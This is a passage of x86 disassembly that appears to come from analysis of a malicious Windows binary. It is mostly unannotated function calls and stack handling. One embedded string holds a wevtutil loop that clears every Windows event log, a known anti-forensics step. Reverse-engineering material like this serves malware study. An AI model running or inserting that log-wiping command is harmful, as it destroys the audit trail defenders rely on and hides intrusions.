sub esp, 0x18
mov byte [ebp - 4], 0x88
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043b150
lea ecx, [ebp - 0x88c]
call fcn.00405330
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x89
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043b150
sub esp, 0x3c
mov esi, esp
mov ecx, 0x5200a0
push 0
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x8a
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x8b
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x8c
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043b150
sub esp, 0x3c
mov esi, esp
push 0
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
mov ecx, 0x5200a0
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x8d
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043b150
lea ecx, [ebp - 0x874]
call fcn.00405330
lea ecx, [ebp - 0x874]
call fcn.00405240
lea ecx, [ebp - 0x88c]
call fcn.00405240
lea ecx, [ebp - 0x8a4]
call fcn.00405240
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 4], 0x63
call fcn.00405240
jmp 0x42ec74
mov edx, str.Lpath
mov ecx, 0x5200b8
call fcn.004398b0
test al, al
je 0x42ec61
mov cl, 1
call fcn.0041e2e0
xor cl, cl
call fcn.0041e2e0
cmp byte [0x5200e9], 1
jne 0x42ec74
mov cl, 1
mov byte [0x5200ef], 1
call fcn.0041e2e0
xor cl, cl
call fcn.0041e2e0
jmp 0x42ec74
call fcn.0041fd50
cmp byte [0x5200e9], 1
jne 0x42ec74
call fcn.0041fd50
mov edx, str.for__F__tokens___1_in__wevtutil.exe_el__DO_wevtutil.exe_cl___1_
lea ecx, [ebp - 0x19e8]
call fcn.004087e0
lea ecx, [ebp - 0x19e8]
call fcn.00432290
lea ecx, [ebp - 0xb4c]
call fcn.00432290
lea ecx, [ebp - 0xa8c]
call fcn.00432290
lea ecx, [ebp - 0x9b4]
call fcn.004049c0
lea ecx, [ebp - 0xc84]
call fcn.004078d0
lea ecx, [ebp - 0x82c]
call fcn.004049c0
lea ecx, [ebp - 0x85c]
call fcn.004049c0
lea ecx, [ebp - 0xb34]
call fcn.00432290
lea ecx, [ebp - 0xb1c]
call fcn.00432290
lea ecx, [ebp - 0xb04]
call fcn.00432290
lea ecx, [ebp - 0xaec]
call fcn.00432290
lea ecx, [ebp - 0xad4]
call fcn.00432290
lea ecx, [ebp - 0xabc]
call fcn.00432290
lea ecx, [ebp - 0xaa4]
call fcn.00432290
lea ecx, [ebp - 0xa14]
call fcn.00432290
lea ecx, [ebp - 0x96c]
call fcn.004049c0
lea ecx, [ebp - 0x9cc]
call fcn.004049c0
lea ecx, [ebp - 0x954]
call fcn.004049c0
lea ecx, [ebp - 0x93c]
call fcn.00432290
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00490dbb
mov esp, ebp
pop ebp
ret